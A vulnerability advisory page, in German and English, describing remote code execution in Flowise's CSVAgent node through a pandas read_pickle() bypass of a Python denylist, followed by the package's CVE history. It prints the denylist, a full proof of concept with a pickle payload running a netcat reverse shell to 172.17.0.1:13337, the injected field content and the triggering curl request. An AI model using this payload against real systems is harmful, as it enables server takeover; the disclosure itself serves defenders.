Kritisch

Flowise: Remote Code Execution Vulnerability in CSVAgent

  • Veröffentlicht: 04.08.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a read_pickle() function that deserialises a pickled payload and this can be leveraged to achieve code execution.

Details

The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts.

js
try {
    const code = `import pandas as pd
import base64
from io import StringIO
import json

base64_string = "${base64String}"

decoded_data = base64.b64decode(base64_string)

csv_data = StringIO(decoded_data.decode('utf-8'))

df = pd.${customReadCSVFunc} <1>
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
    dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
    throw new Error(error)
}

At <1>, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:

python
const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)
    { pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' },
    { pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },
    // Dangerous builtins
    { pattern: /\beval\s*\(/g, reason: 'eval()' },
    { pattern: /\bexec\s*\(/g, reason: 'exec()' },
    { pattern: /\bcompile\s*\(/g, reason: 'compile()' },
    { pattern: /\b__import__\s*\(/g, reason: '__import__()' },
    { pattern: /\bopen\s*\(/g, reason: 'open()' },
    { pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' },
    { pattern: /\binput\s*\(/g, reason: 'input()' },
    { pattern: /\braw_input\s*\(/g, reason: 'raw_input()' },
    { pattern: /\bglobals\s*\(/g, reason: 'globals()' },
    { pattern: /\blocals\s*\(/g, reason: 'locals()' },
    { pattern: /\bgetattr\s*\(/g, reason: 'getattr()' },
    { pattern: /\bsetattr\s*\(/g, reason: 'setattr()' },
    { pattern: /\bdelattr\s*\(/g, reason: 'delattr()' },
    { pattern: /\breload\s*\(/g, reason: 'reload()' },
    { pattern: /\bfile\s*\(/g, reason: 'file()' },
    { pattern: /\bexecfile\s*\(/g, reason: 'execfile()' },
    // Dangerous modules / attributes
    { pattern: /\bos\./g, reason: 'os module' },
    { pattern: /\bsubprocess\./g, reason: 'subprocess module' },
    { pattern: /\bsys\./g, reason: 'sys module' },
    { pattern: /\bsocket\./g, reason: 'socket module' },
    { pattern: /\burllib\./g, reason: 'urllib module' },
    { pattern: /\brequests\./g, reason: 'requests module' },
    { pattern: /\b__builtins__\b/g, reason: '__builtins__' },
    { pattern: /\b__loader__\b/g, reason: '__loader__' },
    { pattern: /\b__spec__\b/g, reason: '__spec__' },
    { pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
    { pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' },
    { pattern: /\b__bases__\b/g, reason: '__bases__' },
    { pattern: /\b__mro__\b/g, reason: '__mro__' },
    { pattern: /\b__globals__\b/g, reason: '__globals__' },
    { pattern: /\b__code__\b/g, reason: '__code__' },
    { pattern: /\b__closure__\b/g, reason: '__closure__' },
    { pattern: /\bvars\s*\(/g, reason: 'vars()' },
    { pattern: /\bdir\s*\(/g, reason: 'dir()' },
    { pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' },
    { pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' }
]

However, by using pandas.read_pickle(), an attacker can achieve code execution without hitting any of the denied words.

PoC

First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):

python
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))

payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)

Run it and note the encoded payload to be used later:

bash
$ python3 pickle-payload-poc.py

gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=
  1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.
  2. Drag a "CSV Agent" node onto the canvas.
  3. Click on "Additional Parameters" and fill in the following PoC:
python
isnull("")
class MiniBytesIO:
    def __init__(self, b):
        self.data = b
        self.pos = 0
    def read(self, n=-1):
        if n == -1:
            n = len(self.data) - self.pos
        chunk = self.data[self.pos:self.pos+n]
        self.pos += n
        return chunk
    def readline(self, n=-1):
        if self.pos >= len(self.data):
            return b""
        next_nl = self.data.find(b"\\n", self.pos)
        if next_nl == -1:
            next_nl = len(self.data)
        if n != -1:
            next_nl = min(self.pos + n, next_nl)
        line = self.data[self.pos:next_nl+1]
        self.pos = next_nl + 1
        return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))

The custom MiniBytesIO class needs to be included in order to deserialise the pickled payload, since read_pickle() expects a "str, path object, or file-like object". This is because we cannot use import to import BytesIO, nor open() to write to disk and read, and entering a URL does not work due to pyodide not having raw socket capabilities.

Save the chatflow, and obtain the UUID of this chatflow from the URL /canvas/<UUID>.

Open a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:

bash
$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>

Betroffene Software

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PlattformPaketAnfällige VersionenBehoben in
npm-Paket flowise < 3.1.3 3.1.3
npm-Paket flowise-components < 3.1.3 3.1.3

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Schwäche (CWE)
CWE-94
Plattform
npm
Paket
flowise, flowise-components
Veröffentlicht
04.08.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-x6vm-w76m-8j7g - CC BY 4.0

Schwachstellenhistorie: flowise

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (114) im Archiv
Einträge insgesamt
114
Erste → letzte
04.2024 10.2026
Ohne Fix
16
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 28
  • Hoch 62
  • Mittel 24

Veröffentlichungen pro Jahr

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Schweregrad:
  1. Kritisch CVE-2026-69259 < 3.1.3 3.1.3
  2. Flowise: Remote Code Execution Vulnerability in CSVAgent dieser Eintrag
    Kritisch CVE-2026-69256 < 3.1.3 3.1.3
  3. Kritisch CVE-2026-69253 < 3.1.3 3.1.3
  4. Kritisch CVE-2026-69251 < 3.1.3 3.1.3
  5. Hoch · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  6. Hoch CVE-2026-46443 < 3.1.2 3.1.2
  7. Hoch CVE-2026-56274 < 3.1.2 3.1.2
  8. Hoch · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  9. Hoch · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  10. Hoch CVE-2026-41274 < 3.1.0 3.1.0
  11. Hoch · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  12. Hoch · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  13. Hoch · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  14. Hoch · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  15. Hoch · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  16. Hoch · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  17. Kritisch · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  18. Kritisch · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
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